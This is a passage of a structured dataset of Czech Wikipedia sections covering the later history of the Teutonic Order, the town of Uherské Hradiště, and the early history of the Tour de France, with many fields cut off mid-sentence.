13. století ovládl část Žmudi první známější představitel litevského státu kníže Mindaugas. Když se však proti němu začala formovat koalice řádu německých rytířů, podmaněných žemaitských knížat a Jatvingů, souhlasil Mindaugas s přijetím křesťanství a odstoupením Žmudi řádu německých rytířů. Jakmile se však řád pokusil převzít Žmuď do své moci, utrpěl roku 1260 těžkou porážku u Durbeského jezera. Mindaugas svoje kontakty s německými rytíři přerušil, vrátil se k pohanským kultům, ale o ovládnutí Žmudi se již nepokoušel. Ta se později stala objektem soustředěné křižácké expanze. Z jedné strany na ni útočili řádoví rytíři z Prus, z druhé strany livonská větev řádu, která právě opanovala území Zemgalů.", "Největšího rozmachu se řád dočkal za velmistra Winricha von Kniprode v letech 1351–1382, poté však začaly jeho pozice slábnout. Roku 1386 došlo v důsledku uzavření smlouvy v Krevě k vytvoření personální unie Polska a Litvy a k christianizaci Litevců. Jedním z důvodů bylo spojenectví proti řádu, kromě toho němečtí rytíři nyní ztratili ideologický důvod k agresi na litevské území. Situace zneužil bratranec polského krále a litevského velkoknížete Vladislava II. Jagella Vytautas a uzavřel roku 1398 na ostrově Salinu tajnou smlouvu s řádem. Jejím cílem bylo osamostatnění Litvy. Za to se musel vzdát Žmudi ve prospěch řádu. Paktování se s řádem proti příbuzným nebylo v litevské vládnoucí dynastii Jagellonců během bojů o moc ničím neobvyklým. Krátce nato zahájili křižáci dobývání Žmudi. V zemi však vypuklo roku 1401 proti dobyvatelům povstání, které podpořil a možná i inspiroval Vytautas. Na podzim se rozhořela válka mezi řádem a Litvou, v níž nebyla litevská strana navzdory polské pomoci úspěšná. Do konfliktu se vmísil římský papež Bonifác IX. a zprostředkoval roku 1404 uzavření míru, jímž byla Žmuď přiřčena řádu.", "Roku 1409 vypuklo na Žmudi další rozsáhlé povstání proti řádu, které se Vytautas opět rozhodl podpořit. Řád doufal, že v konfliktu, který byl nevyhnutelný, zachová Polsko neutralitu, ale Jagiello vstoupil do tzv. velké války po boku Litvy. Boje probíhaly na polském a pruském území a vyvrcholily 15. července 1410 katastrofální porážkou řádu u Grunwaldu (Tannenbergu, litevsky Žalgiris). Bitvy se zúčastnily obrovské vojenské kontingenty nejen z účastnických zemí, ale také žoldnéři z Německa, Švýcarska, Slezska a Lužice, kteří pomáhali řádu, zatímco v polsko-litevském vojsku, vedeném Jagellem osobně, bojovali Tataři a pomocný oddíl z moldavského knížectví, vazalsky závislého na Polsku. Češi a Moravané se bitvy zúčastnili na obou stranách. Valná většina řádových rytířů včetně velmistra Ulricha von Jungingen našla v bitvě smrt. Poté vstoupili do války také livonští rytíři. Příznivou okolností pro řád německých rytířů byly značné rozpory, které existovaly mezi jeho protivníky. Počátkem roku 1411 byl uzavřen první toruňský mír. Řád se musel vzdát Žmudi, která se tak stala součástí litevského velkoknížectví, a Dobřínska, jež získalo Polsko. Kromě toho musel polské straně zaplatit vysoké kontribuce jako výkupné za zajaté členy řádu. Soudí se však, že to, co Polsko a Litva získaly na základě mírového ujednání, neodpovídalo vojenskému významu grunwaldského vítězství. Další porážka čekala slábnoucí řád v třináctileté válce s pruskými městy a Polskem, která probíhala v letech 1454-1466. Poté byl uzavřen tzv. druhý toruňský mír, podle jehož ustanovení Polsku připadly tzv. Prusy královské (Východní Pomoří nebo pozdější Západní Prusko), s Marienburgem, který byl dosud sídelním městem velmistra řádu, Gdaňskem, Toruní a Elblagem. Hlavním městem zbývajícího řádového území, tzv. Prus křižáckých, a sídlem velmistra se poté stal Königsberg (česky Královec), město založené českým králem Přemyslem Otakarem II. Samotný řádový stát se stal formálně polským lénem. Na počátku 16. století došlo k další roztržce mezi řádem a Polskem. Nový velmistr řádu Fridrich von Wettin odmítl složit vazalskou přísahu polskému králi. Nová válka nevypukla jedině díky změnám na polském trůně a následné smrti velmistra. Poslední velmistr řádu Albrecht Braniborský přijal roku 1525 luteránskou reformaci a prohlásil se za světského vládce dosud řádového území. Albrecht jako vládce tzv. Prus knížecích složil v roce 1525 vazalskou přísahu polskému králi.", "Po sekularizaci území pruského státu bylo sídlo řádu poté přeloženo do Mergentheimu v německém Württembersku. Mezi jeho velmistry patřilo až do první světové války mnoho příslušníků habsburské dynastie.", "", "Koncem 18. a začátkem 19. století ztratil řád velkou část majetku a pozemků, Napoleon v roce 1809 přikázal dokonce řád rozpustit. Roku 1834 dostal řád nová pravidla. Dále existoval výlučně jako špitální řád se sídlem ve Vídni. Vídeňský dům a kostel řádu se nachází nedaleko svatoštěpánského dómu v Singerstrasse a jsou přístupné návštěvníkům. Přístupná je také řádová klenotnice.", "Zničující dopad na řád měl nástup nacismu. Řád patřil mezi jeho skalní odpůrce a trpěl rozsáhlým pronásledováním. V Československu na konci třicátých let poskytli němečtí rytíři zdarma některé své pozemky a objekty ve slezském pohraničí (v okolí Hrabyně) k obranným účelům a také půjčili státu peníze na výstavbu československého pohraničního opevnění. Německé okupační orgány ihned po převzetí moci nad protektorátem (v pohraničí již dříve) nejdříve uvalily nucenou správu na majetek řádu a poté jej zkonfiskovaly. Po propuknutí druhé světové války byl řád krutě pronásledován, řada jeho členů (zejména mužské větve) byla nacisty vězněna, popravena nebo zavražděna a řádový majetek byl nacisty konfiskován všude, kde pro ně byl k dosažení. V zemích, které se po druhé světové válce ocitly pod nadvládou komunismu, pak následovalo po nacistickém pronásledování i pronásledování ze strany komunistů. Ačkoliv nešlo o německou, ale nadnárodní, protinacisticky zaměřenou a nacisty pronásledovanou organizaci, československé – komunisty ovládané – ministerstvo zemědělství v roce 1946 vyhlásilo konfiskaci majetku řádu podle Benešových dekretů a provedlo ji, ačkoliv mu to zakazovalo hned několik nařízení vlády. V roce 1948 Nejvyšší správní soud v Praze konfiskace prohlásil za neodůvodněné a nezákonné a vydal rozhodnutí, podle kterého náleží konfiskovaný majetek stále řádu. Komunistický převrat ale znemožnil převzetí majetku řádem a komunistické úřady poté vyhnaly všechny rytíře německého původu ze země. Po dokončení odsunu v roce 1949 působili v Československu jen dva rytíři-řeholníci. Řád byl v průběhu komunistického režimu krutě pronásledován, řeholníci a někteří familiáři řádu, jakož i sestry, byli nezákonně internováni, v některých případech pak odsouzeni ve vykonstruovaných procesech a vězněni. Sestra Marie Helena Knajblová na následky věznění zemřela. Činnost řádu byla zcela znemožněna.", "Po sametové revoluci řád v Československu obnovil svoji činnost, jeho zdejší vedení, tedy provinciál i představená provincie, sídlí v Opavě. Obě větve řádu, jak mužská tak ženská, existují v České republice jako české provincie. Ženská větev má název Milosrdné sestry Panny Marie Jeruzalémské. V českém prostředí řád užívá oficiální názvy „Německý řád“ (od roku 1929). Obecně je znám pod názvy \"Řád německých rytířů\", \"Německý řád\", \"Bratři německého řádu Panny Marie Jeruzalémské\". Ve své činnosti v Česku se Německý řád zaměřuje na provoz a podporu zdravotnických a sociálních zařízení a na charitativní oblast. Vypomáhá také v duchovní správě. Velká pozornost je věnována rozsáhlým majetkoprávním sporům s Českou republikou o majetek řádu zkonfiskovaný v roce 1946 Československem, z nichž největší vášně vzbuzuje spor o hrad Bouzov. V listopadu 2007 řád převzal \"Moravské reálné gymnázium\", z něhož hodlá pod jménem \"Církevní gymnázium Německého řádu\" vybudovat prestižní vzdělávací instituci s vazbami na německé, rakouské a italské univerzity.", "Jak německá tak i polská historiografie měla v minulosti značné potíže zhodnotit působení tohoto řádu z neutrálního stanoviska. Zatímco polská historiografie tíhla k výrokům, že vláda Řádu znamenala útisk a kolonizaci polských území, německá historiografie často mínila, že odstoupením řádových zemí Polsku došlo ke zradě a vydání německých území a obyvatel pod cizí nadvládu. Z dnešního hlediska lze však říci, že se nejednalo o národní či národnostní střetnutí mezi Němci a Slovany, ale o konflikty mezi konkurujícími lokálními mocnostmi své doby, které chtěly expandovat a udržet si moc.", "Znakem řádu je na stříbrném poli černý heroldský kříž. Obdobně jako i u jiných řádů byl tvar černého kříže často měněn. Černý heroldský kříž, přes nějž je položen zlatý liliový kříž se zlatým srdečním štítkem, na němž je černá orlice s červeným perizoniem a zbrojí, byl výhradně znakem velmistra řádu. Později byl používán jako železný kříž, vojenské vyznamenání v Prusku. Nakonec ho převzala i německá armáda za první a druhé světové války a nacistické letecké síly \"Luftwaffe.\"" ] }

{ "title": [ "Geografie.", "Obyvatelstvo.", "Počet obyvatel.", "Historie.", "Pravěk a Velkomoravská aglomerace.", "Svatojiřský ostrov.", "Středověk.", "Založení města opatem Hartlibem a Přemyslem Otakarem II..", "Názvy: Nový Velehrad, Radisch, Uherské Hradiště, Slovácké Hradiště.", "Sídelní město Uherské Hradiště.", "19. století.", "Firma Baťa v Uherském Hradišti.", "20. století.", "Zemská nemocnice.", "První světová válka.", "První republika 1918–1939.", "Druhá světová válka.", "1945–1989.", "Město po roce 1989.", "Samospráva.", "Doprava.", "Železniční doprava.", "Autobusová doprava.", "Silniční doprava.", "Kultura.", "Moderní architektura.", "Sport.", "Fotbal.", "Historie.", "Hokej.", "Atletika.", "T. J. Sokol.", "Příroda a okolí.", "Osobnosti.", "Čestná občanství v novodobé historii." ], "section_level": [ "1", "1", "2", "1", "2", "3", "2", "3", "3", "3", "2", "3", "2", "3", "3", "3", "3", "3", "3", "2", "1", "2", "2", "2", "1", "2", "1", "2", "3", "2", "2", "2", "1", "1", "2" ], "content": [ "Z hlediska morfologie město tvoří územní rovinu, kterou vyrovnávaly náplavy řeky Moravy do nadmořské výšky 178–180 m. Na západní straně se", "", "Údaje jsou souhrnné za všechny městské čtvrtě (centrum, Jarošov, Mařatice, Míkovice, Rybárny, Sady a Vésky). V letech 1971–1990 byla součástí Uherského Hradiště", "", "Území města bylo osídleno už ve starší době kamenné a patří k nejstarším sídelním oblastem České republiky. Těmito místy vedla ve vertikále od severu k jihu moravská část jantarové cesty Krakov–Morava–Vídeň (nyní znovuobjevena jako lákadlo pro zvýšení turistického ruchu) a uherská cesta v horizontále od západu k východu. V 8. a 9. století byl na této křižovatce vytvořen ostrovní pevnostní systém. Tři neobydlené ostrovy řeky Moravy byly na počátku 9. století osídleny Slovany. Centrem byl tzv. Svatojiřský ostrov, nazývaný podle jeho kaple, jejíž patronem byl sv. Jiří. Velkomoravská aglomerace dnešního Starého Města, Uherského Hradiště a Sadů patřila k důležitým střediskům Velké Moravy. Archeologický průzkum na rozdíl od velkomoravské lokality Mikulčice-Valy však ztěžuje současná zástavba, stejně jako v Kyjově či Hodoníně. Na území současného Uherského Hradiště (jeho části Sady) až po aglomerace Starého Města se rozkládalo pravděpodobně centrum oblasti, ve které byla soustředěna mocenská správa, řemeslná produkce, obchod a náboženské objekty tehdejší kultury. Pravděpodobně vzhledem k výhodám říčního terénu (umístění na ostrově) nebyly donedávna nalezeny stopy žádného specifického mohutného opevnění, které by potvrzovalo teorii, že se jednalo o centrum velkomoravské říše Veligrad. Změna této situace nastala až objevením zatím nejmohutnějšího velkomoravského opevnění v lokalitě Rybárny.", "Cesta k brodu od jihu vedla přes ostrov sv. Jiří (na němž později založil Přemysl Otakar II. královské město Nový Veligrad). Na ostrově stávala podle dochovaných zpráv kamenná kaple sv. Jiří. Její trosky se našly pod základovým zdivem koncem 18. století zrušeného a zbořeného gotického svatojiřského kostela, který nahradil kapli někdy počátkem 15. století. Stával v úhlopříčce hlavního náměstí (dnešní Masarykovo náměstí). Současná zástavba nedovoluje posoudit lidnatost velkomoravského osídlení. Ojedinělé nálezy však naznačují osídlení již v 8. století. Pro dobu velkomoravskou lze vysledovat souvislý pás osídlení od brodu u Bumbalova až po svahy mařatického kopce. Kromě sídelních objektů byly nalezeny velkomoravské hroby, třmeny, bojové sekery apod., u kaple sv. Jiří jezdecká výstroj. O opevnění toho mnoho nevíme. Před středověkou hradební zdí se na západní a severní straně nacházejí", "", "V polovině 13. století se východní Morava – tehdy stále na pomezí vlivu Přemyslovců a Uher jako tzv. Lucká provincie – ocitla pod nepřátelskými nájezdy, kterými trpělo obyvatelstvo i nedaleký klášter na Velehradě. A právě opat Hartlib z velehradského kláštera (založeného ve 13. století cisterciáky), se tehdy obrátil na panovníka s prosbou o ochranu území. Prostředníkem mu byl olomoucký biskup", "Již na konci 13. století začalo být od pojmenování Nový Velehrad upouštěno. V roce 1294 je město již nazýváno Hradištěm a tento název se ustálil na počátku 14. století, když se jméno \"Velehrad\" vžilo pro novou obec vzniklou okolo velehradského kláštera. Název „Hradiště“, někdy rozšiřovaný na „Hradiště nad Moravou“, byl ale často v historických pramenech pozměněn, a město se tak uvádí např. jako Hradisst či Hradisscze. Z českého názvu vzniklo latinské či německé Radisch. Současný název „Uherské Hradiště“", "Mezi lety 1348 a 1860 bylo město sídlem Hradišťského kraje. Prvními obyvateli města po jeho založení byli osadníci z přilehlých vesnic Staré Město a Kunovice. Tyto obce byly v letech 1954–1960 a 1971–1990 součástí Uherského Hradiště. Dnes jsou Staré Město a Kunovice samostatnými obcemi, roku 1997 povýšenými na města.", "Funkce pevnosti byla zrušena v roce 1782, ale až od čtyřicátých let 19. století expandovala městská zástavba mimo staré hradby. V roce 1842 byla vybudována tzv. Severní dráha císaře Ferdinanda z Vídně do Přerova a Olomouce. Radní města odmítli vedení trati krajským městem a trať byla přeložena do blízkosti obce Staré Město. V regionu vládl duch národního obrození. 16. května 1848 byly položeny základní kameny Národního divadla. Bylo jich celkem 20 a jedním z nich byl i pískovcový kámen z hradu Buchlova. Koncem 19. století byla postavena řada významných budov:", "V roce 1886 se do města z tehdejšího malého městečka Zlína přistěhoval švec Antonín Baťa starší a založil si v místní části Rybárny obuvnickou živnost, kterou vedl se svými syny Antonínem a Tomášem. Dílna prosperovala a brzy se rozšířila do několika domů, než její činnost v roce 1894 zastavil požár města a bankrot vídeňského dlužníka. Ještě téhož roku si Antonín, Tomáš a jejich sestra Anna, založili novou firmu pod názvem „Antonín Baťa“ ve Zlíně na náměstí, která dala vzniknout dnešnímu celosvětovému koncernu Baťa. Podnik byl v roce 1900 přejmenován na veřejnou společnost T&A.Baťa. Antonín Baťa ml. zemřel v roce 1908, jeho sestra", "", "Roku 1923 byla vybudována Zemská nemocnice. Již roku 1907 městská rada rozhodla o výstavbě nemocnice, nákladem 340 000 K podle návrhu zemského architekta J. Karáska, ale stavbu zdržel odpor obyvatelstva dané čtvrti. Ve městě byl zřízen první špitál sv. Alžběty roku 1362 a byl financován z milodarů. V roce 1727 bylo zvýšeno počet lůžek z osmi na dvanáct a roku 1797 krajský hejtman", "Na zámku v Buchlovicích se 15.–16. září 1908 uskutečnila diplomatická schůzka, která dále vyústila v tzv. Buchlovickou dohodu. Sešli se zde k jednání rakousko-uherský ministr zahraničních věcí Aloise Lexa z Aehrenthalu a ruský ministr Alexandr Petrovič Izvolskij. Předmětem jednání bylo napětí na Balkáně. Ministr Aehrenthal potřeboval souhlas Ruska k anexi Bosny a Hercegoviny. Výsledkem bylo obsazení Bosny Rakouskem dne 6. října 1908. Hostitelem jednajících ministrů byl majitel buchlovického zámku Leopold II. Berchtold, který později nahradil Aehrenthala ve funkci ministra zahraničních věcí Rakouska-Uherska (od 17. 2. 1912 do 13. 1. 1915, kdy podal demisi). Jeho podpis byl pod ultimátem, jež bylo", "V roce 1925 založil inženýr Ludvík Kirschner ve Starém Městě továrnu na mýdlo, mazivo a laky. Po roce 1948 byla znárodněna a dostala název Barvy a laky, n. p., dnes Colorlak, a. s. Hospodářské, kulturní i politické centrum kraje se postupně stále více přesouvalo do Zlína. Zlín navštívil starosta Chicaga Antonín Čermák, zahájen byl zde Zlínský filmový festival, pořádaly se automobilové závody, vybudoval se Baťův kanál a další činností podnikatelské rodiny Baťů odsunuly Uherské Hradiště do pozice úřednického města. Přesto se v architektuře města", "", "", "V listopadu 1989 se město zapojilo do tzv. sametové revoluce, vznikla pobočka Občanského fóra a 27. listopadu 1989 od 12 do 14 hodin se obyvatelé zapojili do generální stávky pod heslem \"Konec vlády jedné strany\". Po následujících politických změnách byla zrušena či přeměněna řada institucí – asi nejvýraznější změnou je nastěhování Střední zdravotnické školy do bývalé budovy KSČ v roce 1991. V roce 1992 město navštívil československý prezident a někdejší disident Václav Havel. Koncem 90. let došlo k přestavbě budovy pošty na Masarykově náměstí, návrat k estetické úrovni dřívějších časů", "Po komunálních volbách v roce 2014 byl starostou zvolen Stanislav", "", "První vlak dorazil do Uherského Hradiště 27. března 1841 od Břeclavi. Stanice „Ungarisch Hradisch“ Severní dráhy císaře Ferdinanda, první parostrojní železnice v českých zemích, byla vybudována ve Starém Městě, které tehdy bylo součástí města (dnešní stanice „Staré Město u Uherského Hradiště“), aby železnice nemusela procházet historickým centrem. V souvislosti s budováním východní větve Českomoravské transverzální dráhy, tzv. Vlárské dráhy, byl 1. dubna 1883 zahájen provoz na lokální dráze ze Starého Města přes centrum Uherského Hradiště do Uherského Brodu, v roce 1887 v Kunovicích napojené na Kyjov a Brno. Tak se železniční stanice Uherské", "Městská autobusová doprava v Uherském Hradišti má 8 linek a zahrnuje i Staré Město a Kunovice. Linky MHD zajišťují obsluhu městských sídlišť i přilehlých městských částí s návazností na autobusová a vlaková nádraží, nemocnici, školy, obchody, průmyslové podniky a městský hřbitov. V pracovní dny jsou intervaly linek přibližně 30 minut, ve špičce 15 minut. Spoje MHD jsou po území města doplňovány také regionálními", "Dne 27. září 2004 byl po stavebních pracích probíhajících od roku 1998 otevřen kompletní obchvat města (6,851 km dlouhá přeložka silnice I/50 spojující Brno a Trenčín). Začíná na západě jižně pod obcí Zlechov, podchází železniční trať Přerov–Břeclav, poté mostem délky 138 m překračuje řeku Moravu, za ním jižně obchází lokalitu Kunovského lesa", "Město provozuje prostřednictvím Klubu kultury sedm kulturních domů (Klub kultury, Reduta, Slovácká búda, MKZ Mařatice, MKZ Sady, MKZ Vésky, MKZ Míkovice), což je v kontextu celé republiky nebývalý počet. V Uherském Hradišti je rovněž kino. Působí zde tři divadla: plně profesionální Slovácké divadlo, poloprofesionální Hoffmanovo divadlo a amatérské SKI Vésky. Možnost navštívení stálé i dočasných výstav o městě a regionu nabízí Slovácké muzeum a od roku 2013 má v Uherském Hradišti svou pobočku – Centrum slovanské archeologie – i Moravské zemské muzeum. Každoročně se zde také koná celostátně proslulá přehlídka filmů Letní filmová škola. Město hostí jednu z největších folklorních akcí České republiky – Slovácké slavnosti vína a otevřených památek. Sídlí zde regionální deníky \"Slovácké noviny\", \"Dobrý den s Kurýrem\" atd. Ve městě působí přes 35 kulturně orientovaných spolků. Mezi nejvýznamnější patří folklorní soubory Hradišťan, Kunovjan, CM Jaroslava Čecha, Burčáci, Hradišťánek a řada dalších.", "Svým působením pozměnili", "", "Na Městském fotbalovém stadionu Miroslava Valenty hraje fotbalový klub 1. FC Slovácko 1. fotbalovou ligu. Klub má také ženský tým.", "Historie kopané v Uherském Hradišti začíná roku 1905, kdy byl přivezen první kopací míč vysokoškolákem Viktorem Rumlerem z pražské Slavie. 15. května 1919 několik fotbalových nadšenců a hoteliér Antonín Čáp v hotelu Grand založili klub AC Slovácká Slavia. V sezóně 1995/96 postoupil městský fotbalový tým FC Slovácká Slavia poprvé ve své historii do 1. ligy a svůj druhý zápas v ní sehrál na stadionu v Uherském Hradišti 1. srpna 1995 se Spartou Praha, za kterou nastoupili např. Jan Koller, Vratislav Lokvenc či brankář Petr Kouba, který se později stal vicemistrem Evropy. Zápas skončil stavem 2:2, ačkoliv ještě nedlouho před koncem Uherské Hradiště vedlo 2:1. Zúčastnilo se ho 11 000 platících diváků (dle jiného zdroje 15 000 diváků z celého regionu), což byla nejvyšší návštěvnost v celé historii klubu od roku 1894 a překonala rekord 10 000 diváků z roku 1975, kdy se Uherské Hradiště v rámci soutěže Český pohár utkalo se Slavií Praha. První gól za FC Slováckou Slavii umístil záložník Kasper Såby, posila z Dánska, hlavou již v 15. minutě prvního poločasu, po pravém rohovém kopu Petra Podaného.", "V Uherském Hradišti je zimní stadion s kapacitou", "Jedním ze sportů, který má v Uherském Hradišti velkou a bohatou tradici, je atletika.", "T. J. Sokol byl v Uherském Hradišti založen roku 1872. V současnosti má zhruba", "Okolí města je charakteristické rozmanitou krajinou a přírodními rezervacemi, řekou Moravou s rozsáhlými lužními lesy s původní flórou a faunou. Neobvyklá je technická stavba Baťova kanálu, nedaleko se nachází dvě podmanivá pohoří, Chřiby a Bílé Karpaty se zvláštním biotopem. Nejzápadnějším výběžkem Karpat, resp.", "", "Od počátku devadesátých let dvacátého" ] }

{ "title": [ "Historie.", "Počátky.", "První Tour de France.", "1904–1919.", "1920–1939.", "1940–1946.", "1947–1954.", "1955–1968.", "1969–1977.", "1978–1985.", "1986–1998.", "1999–2009.", "2010–současnost.", "Klasifikace.", "Současné klasifikace.", "Celková klasifikace a Žlutý trikot.", "Horská klasifikace a Puntíkovaný trikot.", "Bodovací klasifikace a Zelený trikot.", "Klasifikace jezdců do 26 let a Bílý trikot.", "Týmová klasifikace.", "Cena pro největšího bojovníka.", "Červená lucerna.", "Odměna vítězům.", "Bývalé klasifikace.", "Kombinovaná klasifikace.", "Klasifikace průběžných sprintů.", "Etapy.", "Etapa s hromadným startem.", "Individuální časovka.", "Týmová časovka.", "Časový limit.", "Starty a cíle Tour de France.", "Grand Depárt.", "L'Arrivée Finale.", "Slavné výjezdy.", "Doping.", "Reklamní karavana.", "Vývoj kol.", "Češi a Slováci na Tour.", "Rekordy." ], "section_level": [ "1", "2", "2", "2", "2", "2", "2", "2", "2", "2", "2", "2", "2", "1", "2", "3", "3", "3", "3", "3", "3", "3", "3", "2", "3", "3", "2", "2", "2", "2", "2", "1", "2", "2", "1", "1", "1", "1", "1", "1" ], "content": [ "", "Tour de France byla založena v roce 1903. Kořeny závodu sahají ke vzniku dvou konkurenčních sportovních deníků. Prvním z nich byl deník \"Le Vélo\", první a do roku 1903 největší sportovní deník ve Francii založen v roce 1892, kterého se denně prodalo na 80 000 výtisků. Jeho šéfredaktorem byl Pierre Giffard. \"Le Vélo\" byl finančně podporován majitelem automobilky De Dion-Bouton, Julesem-Albertem de Dionem i skupinou bohatých inzerentů, mezi nimiž byli Adolphe Clément Bayard a Édouard Michelin. Na konci 19. století byla společnost ve Francii názorově rozdělena", "První Tour de France se uskutečnila v roce 1903. Naplánováno bylo celkem pět etap o celkové délce 2428 km, které se měly jet od 31. května do 5. července. Start měl být v Paříži a předtím, než se závod opět vrátí zpět do Paříže, měli závodníci projet městy Lyon, Marseille, Bordeaux a Nantes. Později bylo ještě přidáno Toulouse, aby se přerušila dlouhá pasáž na jihu Francie mezi Atlantikem a Středozemním mořem. Tím tedy vzniklo etap šest. Celková délka 2428 km zůstala nezměněna. Jednotlivé etapy by probíhaly v noci a končily by následující den odpoledne. To se však", "Následující ročník formátem kopíroval první vydání závodu. Přesto, že veskrze pozitivní pocity, které první vydání Tour de France u diváků a závodníků vyvolalo, ředitel závodu, Henri Desgrange, po ročníku 1904 pronesl, že se obává, že to byl ročník poslední. Druhá Tour de France se nesla v duchu podvodného jednání. Pod vrcholem Col de la République, někdy zvaném Col du Grand Bois, nedaleko Saint-Étienne, dokonce došlo k zablokování silnice a k fyzickému napadení závodníků příznivci místního rodáka, Antoina Faurého. Fyzickým napadáním tyto nekalé praktiky nekončily. Na silnici před průjezdem závodníků byly rozsypány hřebíky a střepy, další jezdci dělali svým konkurentům do lahví s vodou díry nebo jim dokonce sabotovali rámy od kol. Čtyři měsíce po skončení závodu, 30. listopadu 1904, byli Francouzskou cyklistickou federací (\"„Union vélocipédique de France“\") první čtyři závodníci diskvalifikováni pro údajné přesuny vlakem. Mezi nimi byl i vítěz prvního ročníku a před diskvalifikací dvojnásobný vítěz Tour de France, Maurice Garin. Podrobnosti vyšetřování zůstaly veřejnosti dodnes utajeny. I přesto, že situace po dvou letech konání závodu nevypadala pozitivně, se Desgrange rozhodl na jaře následujícího roku uspořádat ročník další. Počet etap se ze šesti", "Prvním závodníkem, kterému se podařilo Tour de France vyhrát třikrát, se v roce 1920 stal Belgičan Philippe Thys. Na počátku 20. let vládli na Tour de France Belgičané. Již v ročníku 1920 vyhráli 12 z 15 etap a o rok později to bylo obdobné. Celkovým vítězem se stal Léon Scieur. Po sedmileté nadvládě Belgičanů zvítězil v roce 1923 opět Francouz. Za pomoci bratra Francise se to podařilo Henrimu Pélissierovi. Pélissier na Tour de France poprvé startoval v roce 1914. S Desgrangem měl nepřátelský vztah. Pélissier špatně nesl velmi přísná pravidla tehdejší Tour de France. Závodník například musel dojet s veškerým oblečením a výbavou, kterou měl na startu etapy. Výměna nepojízdných rozbitých kol byla povolena až v roce 1923. Především díky Pélissierovu vítězství bylo téhož roku prodáno na půl milionu výtisků \"L'Auto\". Od roku 1923 byli jednotlivci přihlášeni do závodu označováni jako „\"touriste routiers\"“, česky \"„turisté na silnici“\". Od pořadatelů se takovým závodníkům nedostávalo žádné podpory, takže se sami museli vybavit jídlem a nářadím. O rok později, v roce 1924, Henri Pélissier i se svým bratrem Francisem ze závodu na protest odstoupili. Důvodem bylo pravidlo zavedené v roce 1920, podle kterého musel závodník dojet v tolika vrstvách oblečení, v kolika odstartoval. Po jejich odstoupení ze závodu vznikl rozhovor, jež vstoupil do historie závodu. Společně s bratrem odhalili, že užívali kokain, chloroform, koňskou mast a další stimulanty a analgetika. Přestože pravidla tehdy zakazovala mnoho věcí, doping mezi nepovolené prostředky nepatřil. V", "Francie byla po kapitulaci dne 22. června 1940 rozdělena na dvě části. Sever země byl přímo okupován Němci a na jihu země působila s Němci kolaborující francouzská vláda sídlící ve Vichy. V jejím čele stál maršál Pétain. Henri Desgrange zemřel ve svém domově na pobřeží Středozemního moře 16. srpna 1940. Starší z bratrů Goddetových, Maurice, prodal svůj majoritní podíl v \"L'Auto\" Raymondu Patenotrovi. Ten ho poté prodal Němcům. Jacques Goddet nadále zůstal šéfredaktorem listu. Redakce sídlila v okupované Paříži. Deník dále vycházel v redukované verzi. Němci s", "Vítěz posledního předválečného ročníku, Sylvère Maes, se na poslední chvíli odhlásil z první poválečné Tour de France roku 1947. V době konání tohoto závodu ještě nebyl podepsán mír mezi Francií a Itálií, takže země byly de iure ve válce. Dvě největší italské hvězdy, Fausto Coppi a Gino Bartali, na startu chyběly. Italský národní tým mohl být sestaven pouze z Italů žijících ve Francii. Na start se postavilo celkem deset týmů: Francie, Belgie, Francouzští Italové, Nizozemsko, v jehož týmu byli tři francouzští Italové, Švýcarsko/Lucembursko a pět francouzských regionálních týmů. Závod vedl i přes nejvíce zničené části na severu země. Vzhledem k poválečné situaci ve Francii, kdy byl benzin i jídlo na příděl, panoval nedostatek těchto surovin i", "Louison Bobet triumfoval v celkové klasifikaci i v roce 1955 a stal se prvním závodníkem v historii, jemuž se podařilo zvítězit třikrát za sebou. Na startu Tour de France v roce 1956 však Bobet i další bývalí vítězové chyběli. Celkový triumf si zajistil Roger Walkowiak. O rok později, při své první účasti v závodě, zvítězil Jacques Anquetil. V roce 1958 byl televizní obraz poprvé v historii Tour de France přinášen vrtulníky. Zároveň nebyl poprvé mezi 22 etapami volný den. Po 30 letech znovu závod vyhrál Lucemburčan: z vítězství se radoval Charly Gaul. Před začátkem závodu v roce 1959 se francouzský tým rozhádal. Kapitánem chtěli být Jacques Anquetil, Louison Bobet, Raphaël Géminiani i Roger Rivière. Každý z nich odmítal pracovat pro někoho jiného. Z jejich sporů nakonec těžil Federico Bahamontés, jenž se stal prvním Španělem, který závod vyhrál. V létě roku", "V itineráři Tour de France byly v roce 1969 znovu půlené etapy. Systém závodu se vrátil zpět k firemním týmům. Vítězem se po 30 letech stal Belgičan. Vyhrál Eddy Merckx. Merckx byl všestranným cyklistou a prohlašoval, že chce vyhrávat jak rovinaté, tak kopcovité etapy. Kromě celkové klasifikace vyhrál i bodovací a horskou klasifikaci a bílý dres pro vítěze kombinované klasifikace. Ještě byl vyhlášen nejagresivnějším závodníkem a jeho tým Faema vyhrál soutěž týmů. Po Meckxově dominantním triumfu se na hlavní straně sportovního deníku \"L'Équipe\" objevil titulek: \"„Merckxismo“\", jež dokládal jeho dominanci. Na konci sezóny Merckx absolvoval šestidenní závody na velodromu v Blois. Při jednom ze závodů pořádaném večer vypadl elektrický proud a závodníci jedoucí na dráze se ocitli ve tmě. Belgičan měl kolizi se svým", "Rok po vítězství Bernarda Théveneta zvítězil další Francouz, Bernard Hinault, přezdívaný \"„Jezevec“\". Do žlutého trikotu se Hinault oblékl po vítězství v 72 km dlouhé časovce vedoucí z Mét do Nancy. Do té doby vedoucího Zoetemelka v ní deklasoval o 4 minuty a 10 sekund. Ještě předtím, ve dvanácté etapě, proběhla stávka cyklistů na jejímž základě byl výsledek etapy anulován. Důvodem byly půlené etapy, jenž byly v roce 1978 opět na programu závodu. Závodníkům se nelíbily časté přesuny mezi starty jednotlivých etap, které měly za následek nedostatek spánku. V čele protestu závodníků byl třiadvacetiletý Bernard Hinault. Hinault se stal vítězem Tour de France při svém debutu. Souboj Joopa Zoetemelka s Bernardem Hinaultem pokračoval i na Tour de France v roce 1979. Pořadatelé na program zařadili pět individuálních časovek a tři časovky týmové. Hinault byl vynikajícím časovkářem, a", "To, jestli Hinault LeMondovi opravdu pomohl, je předmětem diskuze. Jako první z dvojice Hinault-LeMond se do žlutého trikotu v roce 1986 oblékl po jedenácté etapě Francouz. Ve dvanácté etapě vedoucí do Pau Hinault LeMondovi spolu s týmovým kolegou Bernardem a Delgadem ujel a v cíli etapy měl náskok pěti a půl minut. V následující etapě Hinault na Col du Tourmalet opět útočil. LeMond však Hinaulta dostihl a etapu vyhrál. Hinaultův náskok se po LeMondově vítězství snížil na 40 sekund. Soupeření těchto dvou cyklistů rozdělilo i domestiky v jejich stáji La Vie Claire. Andrew Hampsten tvrdil, že pro LeMonda pracuje pouze on a Kanaďan Steve Bauer. V sedmnácté etapě se po LeMondově úniku, ve kterém se mu podařilo Hinaultovi odjet, poprvé v historii Tour de France oblékl Američan do žlutého trikotu. Druhý den byla na pořadu poslední horská 